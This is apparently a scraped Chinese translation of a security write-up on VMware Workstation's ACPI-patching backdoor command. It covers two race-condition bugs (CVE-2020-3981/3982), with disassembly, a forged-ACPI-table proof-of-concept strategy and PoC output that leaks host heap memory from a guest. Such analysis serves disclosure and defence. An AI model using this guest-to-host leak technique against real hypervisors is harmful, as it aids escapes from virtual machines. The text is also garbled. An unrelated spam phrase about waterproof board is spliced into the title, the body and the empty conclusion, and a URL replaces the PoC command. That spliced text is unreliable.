防水挤塑板作用

VMware Workstation使用改良的PhoenixBIOS 4.0 Release 6对旧版BIOS进行模拟，在分析BIOS.440.ROM映像期间观察到的修改之一是使用VMware后门。在这种情况下，“后门”没有任何恶意的暗示。相反，“后门”是指虚拟访客可以通过其与管理程序进行通信的合法通道。在这种情况下，后门是通过模拟I / O端口实现的。访客通过执行以下指令通过后门发送消息：

BIOS_F:358B backdoor proc near

BIOS_F:358B mov dx, 5658h

BIOS_F:358E mov eax, 564D5868h

BIOS_F:3594 in eax, dx

BIOS_F:3596 retn

BIOS_F:3596 backdoor endp

通过交叉引用后门调用以及来自open-vm-tools的定义，可以识别出在ROM映像中使用了以下命令集：

BDOOR_CMD_GETMEMSIZE

BDOOR_CMD_GETMHZ

BDOOR_CMD_ISACPIDISABLED

BDOOR_CMD_PATCH_ACPI_TABLES

BDOOR_CMD_GETUUID

BDOOR_CMD_GETDISKGEO

BDOOR_CMD_OSNOTFOUND

BDOOR_CMD_APMFUNCTION

这些命令中的每一个都引用了一个后门函数，该函数在主机上实现，可以通过将适当的值发送到上面所示的模拟端口来从访客机调用该函数。

BDOOR_CMD_PATCH_ACPI_TABLES命令是最值得分析的命令，因为它从访客内存中解析ACPI表。下面的分析是基于VMware Workstation for Linux 15.5.6版本。

实现命令BDOOR_CMD_PATCH_ACPI_TABLES的后门函数首先检查访客机中安装的VMware Tools版本和进行调用的访客机处理器的当前特权级别(CPL)。

.text:00000000001D9AF0 BackdoorPatchACPITables proc near

.text:00000000001D9AF0

.text:00000000001D9B14 call Get_VMTools_Version

.text:00000000001D9B19 test eax, eax ; check if vmware tools installed

.text:00000000001D9B1B jnz short vmtools_available

.text:00000000001D9B50 vmtools_available:

.text:00000000001D9B50 call Get_VMTools_Version

.text:00000000001D9B55 cmp eax, 17FFh ; check if vmware tools version < 6.0.0

.text:00000000001D9B5A ja short return

.text:00000000001D9B5C call Check_CPL0 ; check if invoked at CPL 0

.text:00000000001D9B61 test al, al

.text:00000000001D9B63 jz short return

Get_VMTools_Version函数以编码整数形式返回VMware Tools版本，该版本在open-vm-tools中定义如下：

#define TOOLS_VERSION_UINT(MJR, MNR, BASE) (((MJR) << 10) + ((MNR) << 5) + (BASE))

仅当访客报告的VMware Tools版本低于6.0.0时，BDOOR_CMD_PATCH_ACPI_TABLES命令才可用。另外，还要进行检查以确保从CPL 0（也称为环0）调用了该命令，这是访客系统中的最高特权级别。这可能是为了将此后门命令的使用限制为访客引导代码。一旦完成验证，就在16字节边界上扫描从0xE0000到0xFFFFF的访客BIOS高内存区域，以查找签名“RSD PTR”，以找到根系统描述指针（RSDP）结构。

.text:00000000001D9B73 mov r12d, 0E0000h

.text:00000000001D9B79 lea rbp, [r13+24h]

.text:00000000001D9B7D nop dword ptr [rax]

.text:00000000001D9B80

.text:00000000001D9B80 loc_1D9B80:

.text:00000000001D9B80 mov edx, 24h

.text:00000000001D9B85 mov rsi, r13

.text:00000000001D9B88 mov rdi, r12

.text:00000000001D9B8B mov r8d, 1

.text:00000000001D9B91 mov ecx, 40h

.text:00000000001D9B96 call Read_GuestMem

.text:00000000001D9B9B mov edx, 8 ; n

.text:00000000001D9BA0 mov rdi, r13 ; s1

.text:00000000001D9BA3 lea rsi, aRsdPtr ; "RSD PTR "

.text:00000000001D9BAA call _memcmp

.text:00000000001D9BAF test eax, eax

此后，还将分析其余的ACPI数据结构以找到“差异系统描述表”（DSDT）。

text:00000000001D9BE9 lea rsi, aRsdt ; "RSDT"

text:00000000001D9BF0 mov rcx, rbp

text:00000000001D9BF3 call ValidateAndGetACPITable

text:00000000001D9C24 lea rsi, aFacp ; "FACP"

text:00000000001D9C2B call ValidateAndGetACPITable

text:00000000001D9C30 test al, al

text:00000000001D9C63 lea rsi, aDsdt ; "DSDT"

text:00000000001D9C6A call ValidateAndGetACPITable

text:00000000001D9C6F test al, al

一旦找到了DSDT，后门函数就会通过查找_S1并将其替换为FOO来补丁出与S1休眠状态相关的AML代码。

.text:00000000001D9CCA loc_1D9CCA:

.text:00000000001D9CCA cmp [rsp+0D8h+var_D3], 5Fh ; '_'

.text:00000000001D9CCF jnz short continue

.text:00000000001D9CD1 cmp [rsp+0D8h+var_D3+1], 53h ; 'S'

.text:00000000001D9CD6 jnz short continue

.text:00000000001D9CD8 cmp [rsp+0D8h+var_D3+2], 31h ; '1'

.text:00000000001D9CDD jnz short continue

.text:00000000001D9CDF sub eax, 1

.text:00000000001D9CE2 jnz loc_1D9E69

.text:00000000001D9CE8 add r12, [rsp+0D8h+var_B8]

.text:00000000001D9CED mov word ptr [r12], 'OF'

.text:00000000001D9CF4 mov byte ptr [r12+2], 4Fh ; 'O'

为了对此进行测试，我们需要在向主机报告低于6.0.0的VMware Tools版本之后转储DSDT表并重新启动访客机。通过open-vm-tools可以理解，“tools.set.version”是用于设置此信息的GuestRPC命令。

$ sudo cat /sys/firmware/acpi/tables/DSDT > DSDT

$ iasl -d DSDT

Intel ACPI Component Architecture

ASL+ Optimizing Compiler/Disassembler version 20180105

Copyright (c) 2000 - 2018 Intel Corporation

Input file DSDT, Length 0x2148B bytes

ACPI: DSDT 0x0000000000000000 02148B (v01 PTLTD Custom 06040000 MSFT 03000001)

Pass 1 parse of [DSDT]

Pass 2 parse of [DSDT]

Parsing Deferred Opcodes (Methods/Buffers/Packages/Regions)

Parsing completed

Disassembly completed

ASL Output: DSDT.dsl - 1296923 bytes

$ vmware-rpctool "tools.set.version 4096"

$ reboot

重新启动后，我们再次转储DSDT表并区别ASL代码。

* Original Table Header:

* Signature "DSDT"

* Length 0x0002148B

* Revision 0x01 **** 32-bit table (V1), no 64-bit math support

- * Checksum 0x9E

+ * Checksum 0x9D

* OEM ID "PTLTD "

* OEM Table ID "Custom "

* OEM Revision 0x06040000 (100925440)

0x05,

0x05

- Name (_S1, Package (0x02) // _S1_: S1 System State

+ Name (FOO, Package (0x02)

0x04,

0x04

此时，S1休眠状态已经被修补，表校验和也相应更新了。

漏洞介绍

在分析过程中，我发现了两个不同的TOCTOU漏洞。一种是受受限的越界（OOB）写操作，另一种是可能导致信息泄露的OOB读操作。

DSDT表包含一个ACPI标头，后跟AML字节代码。ACPI标头如下：

struct acpi_table_header {

char signature[ACPI_NAMESEG_SIZE];

u32 length;

u8 revision;

u8 checksum;

char oem_id[ACPI_OEM_ID_SIZE];

char oem_table_id[ACPI_OEM_TABLE_ID_SIZE];

u32 oem_revision;

char asl_compiler_id[ACPI_NAMESEG_SIZE];

u32 asl_compiler_revision;

标头中最有趣的字段是长度和校验和。首先在称为0x01D9C6A的ValidateAndGetACPITable函数中验证表的长度和校验和：

.text:00000000001D9910 ValidateAndGetACPITable proc near .text:00000000001D991B mov edx, 4 ; length to read .text:00000000001D9920 push r13 .text:00000000001D9922 push r12 .text:00000000001D9924 mov r12d, edi .text:00000000001D9927 push rbp .text:00000000001D9928 lea rdi, [r12+4] ; physical address of table + 4, this points to the length field in ACPI header . . . .text:00000000001D994D lea rsi, [rsp+68h+table_size] ; buffer for writing the content .text:00000000001D9952 call ReadGuestPhyAddr .text:00000000001D9957 mov r8d, [rsp+68h+table_size] .text:00000000001D995C lea eax, [r8-1] .text:00000000001D9960 cmp eax, 0FFFFFFh .text:00000000001D9965 jbe short map_guestmem . . . .text:00000000001D99B8 map_guestmem: .text:00000000001D99B8 cmp r14b, 1 .text:00000000001D99BC mov esi, r8d ; length to read from guest .text:00000000001D99BF mov rdi, r12 ; physical address of ACPI table . . . .text:00000000001D99D2 call MapGuestPhyAddr .text:00000000001D99D7 cmp dword ptr [rbx+0Ch], 1 .text:00000000001D99DB mov r12d, [rsp+68h+table_size] . . . .text:00000000001D9A10 cmp r12d, 35 ; check if length is at least ACPI table header size .text:00000000001D9A14 jbe invalid_size .text:00000000001D9A1A mov eax, dword ptr [rsp+68h+acpi_table.signature] .text:00000000001D9A1E cmp [rbp+0], eax ; check table signature . . . .text:00000000001D9A70 calc_checksum: .text:00000000001D9A70 mov rax, [rbx+10h] .text:00000000001D9A74 movzx eax, byte ptr [rax+rbp] ; read a byte from guest ACPI table .text:00000000001D9A78 .text:00000000001D9A78 loc_1D9A78: .text:00000000001D9A78 add rbp, 1 .text:00000000001D9A7C add r12d, eax .text:00000000001D9A7F cmp r14d, ebp ; loop until table size .text:00000000001D9A82 jbe short loc_1D9AD0 .text:00000000001D9A84 .text:00000000001D9A84 loc_1D9A84: .text:00000000001D9A84 cmp dword ptr [rbx+0Ch], 1 .text:00000000001D9A88 jz short calc_checksum

总之，ValidateAndGetACPITable首先从访客内存中读取ACPI表大小。然后，使用该大小值，它将整个表从访客物理内存映射到主机内存。然后，它对映射内存中的字节求和以计算ACPI校验和以验证表。

CVE-2020-3982 / ZDI-20-1268

验证表后，代码再次从访客存储器中读取ACPI表长度（这次是通过映射），并在DSDT AML代码中搜索_S1。

.text:00000000001D9C6A call ValidateAndGetACPITable ; DSDT table validated here .text:00000000001D9C6F test al, al .text:00000000001D9C71 jz return .text:00000000001D9C77 mov eax, [rsp+0D8h+var_BC] .text:00000000001D9C7B lea r15, [rsp+0D8h+var_CC] .text:00000000001D9C80 mov r13d, 24h ; '$' .text:00000000001D9C86 lea r14, [rsp+0D8h+var_D3] .text:00000000001D9C8B jmp short loc_1D9C91 .text:00000000001D9C8D .text:00000000001D9C8D Patch_S1_Sleep_State: .text:00000000001D9C8D .text:00000000001D9C8D add r13d, 1 .text:00000000001D9C91 .text:00000000001D9C91 loc_1D9C91: .text:00000000001D9C91 cmp eax, 1 .text:00000000001D9C94 jnz loc_1D9D91 .text:00000000001D9C9A mov rax, [rsp+0D8h+dsdt] .text:00000000001D9C9F mov esi, [rax+acpi_table_header.length] ; DSDT table fetched from guest after validation

访客操作系统可以在两次读取之间更改表大小值，从而导致一个受限的OOB写入原语：找到_S1并将其替换为FOO。

CVE-2020-3981 / ZDI-20-1267

修补了S1睡眠对象后，便需要更新标头中的校验和。为了准备计算新的校验和，代码再次从访客存储器中检索表的长度：

.text:00000000001D9CCA cmp [rsp+0D8h+var_D3], 5Fh ; '_' .text:00000000001D9CCF jnz short Patch_S1_Sleep_State .text:00000000001D9CD1 cmp [rsp+0D8h+var_D3+1], 53h ; 'S' .text:00000000001D9CD6 jnz short Patch_S1_Sleep_State .text:00000000001D9CD8 cmp [rsp+0D8h+var_D3+2], 31h ; '1' .text:00000000001D9CDD jnz short Patch_S1_Sleep_State .text:00000000001D9CDF sub eax, 1 .text:00000000001D9CE2 jnz loc_1D9E69 .text:00000000001D9CE8 add r12, [rsp+0D8h+dsdt] .text:00000000001D9CED mov word ptr [r12], 'OF' .text:00000000001D9CF4 mov byte ptr [r12+2], 4Fh ; 'O' .text:00000000001D9CFA .text:00000000001D9CFA calc_checksum_after_patch: .text:00000000001D9CFA cmp [rsp+0D8h+var_BC], 1 .text:00000000001D9CFF jnz loc_1D9E3C .text:00000000001D9D05 mov rax, [rsp+0D8h+dsdt] .text:00000000001D9D0A mov r13d, [rax+acpi_table_header.length] ; length fetched again from guest memory

如果访客虚拟机在此读取之前增加了长度字段的值，则结果将是校验和计算期间的越界读取。

概念验证

虽然这个后门函数意味着在执行受信任的BIOS代码期间只调用一次，但它在启动后不会被禁用，即使是访客操作系统也可以继续访问它。因为BIOS内存区域是可写的，所以访客可以在调用后门之前在地址0xE0000处插入一个假的RSDP结构。由于RSDT物理地址是在伪造的RSDP结构中设置的，因此整个ACPI解析都可以被劫持：

struct acpi_table_rsdp {

char signature[8];

u8 checksum;

u32 rsdt_physical_address;

劫持ACPI解析

攻击者需要在Guest RAM的末尾建立DSDT表，以便任何OOB访问都将最终在与映射的访客虚拟机内存区域相邻的主机内存中。尽管OOB写入受到严格限制，但在ACPI校验和计算期间读取的OOB可用于泄漏访客存储区域之外的任意主机堆存储器内容。

ACPI表校验和是一个值，使得表的所有字节之和为0（mod 256）。考虑到这一点，信息泄漏策略应该是一次泄漏一个字节。攻击者可能会设置DSDT ACPI表头，以使访客可以访问length和checksum字段。AML代码占据访客存储器区域的末端，该区域位于主机堆区域的边界，访客无法访问该区域。然后，他们可以使用竞争条件触发1字节OOB读取，并检查校验和值是否已更改。如果是，则基于先前的校验和值和更新的校验和值，他们可以计算泄漏的字节。如果经过一定次数的尝试后未观察到校验和的变化，则假定泄漏的字节为0。然后，攻击者可以触发2字节的OOB读取以泄漏随后的字节，防水挤塑板作用依此类推。以下是概念证明会证明这一点：

$ sudo insmod backdoor.ko

$ sudo http://www.yidianzixun.com/article/poc

poc: [+] Setting open-vm-tools version to 4.0.0 using tools.set.version

poc: [+] Overwriting BIOS memory mapped @ 0x7fdd12fd5000

poc: [+] Trigerring BDOOR_CMD_GETMEMSIZE to get RAM size...

poc: [+] VM high memory address : 0x80000000

poc: [+] Fake Root System Description Pointer @ 0xE0000

RSD @ 0x00000000000E0000

0000: 52 53 44 20 50 54 52 20 73 00 00 00 00 00 00 00 RSD PTR s.......

0010: 00 60 C5 49 .`.I

poc: [+] Fake Root System Description Table @ 0x49C56000

RSDT @ 0x0000000049C56000

0000: 52 53 44 54 28 00 00 00 00 05 00 00 00 00 00 00 RSDT(...........

0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0020: 00 00 00 00 28 60 C5 49 ....(`.I

poc: [+] Fake Fixed ACPI Description Table @ 0x49C56028

FACP @ 0x0000000049C56028

0000: 46 41 43 50 14 01 00 00 00 7C 00 00 00 00 00 00 FACP.....|......

0020: 00 00 00 00 00 00 00 00 D8 FF FF 7F 00 00 00 00 ................

0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

0110: 00 00 00 00 ....

poc: [+] Fake Differentiated System Description Table @ 0x7FFFFFD8

DSDT @ 0x000000007FFFFFD8

0000: 44 53 44 54 28 00 00 00 00 C6 00 00 00 00 00 00 DSDT(...........

0020: 00 00 00 00 5F 53 31 00 ...._S1.

poc: [+] Starting thread to change DSDT length during race...

poc: [+] Triggering BDOOR_CMD_PATCH_ACPI_TABLES from CPL 0...

poc: [+] Leaking checksum for 8 bytes adjacent to guest memory mapping...

A5 A5 A5 75 C7 48 48 48

poc: [+] Leaked host memory address : 0x7fae30000020

这是具有2GB访客内存的vmware-vmx进程的主机堆状态：

gdb-peda$ vmmap

0x00007fadb0000000 0x00007fae30000000 rw-s /vmem (deleted)

0x00007fae30000000 0x00007fae309ea000 rw-p mapped

0x00007fae309ea000 0x00007fae34000000 ---p mapped

gdb-peda$ x/10gx 0x00007fae30000000

0x7fae30000000: 0x00007fae30000020 0x0000000000000000

0x7fae30000010: 0x00000000009ea000 0x00000000009ea000

0x7fae30000020: 0x0000000200000000 0x0000000000000001

0x7fae30000030: 0x00007fae30555b30 0x0000000000000000

0x7fae30000040: 0x00007fae30263860 0x00007fae30278e40

总结

防水挤塑板作用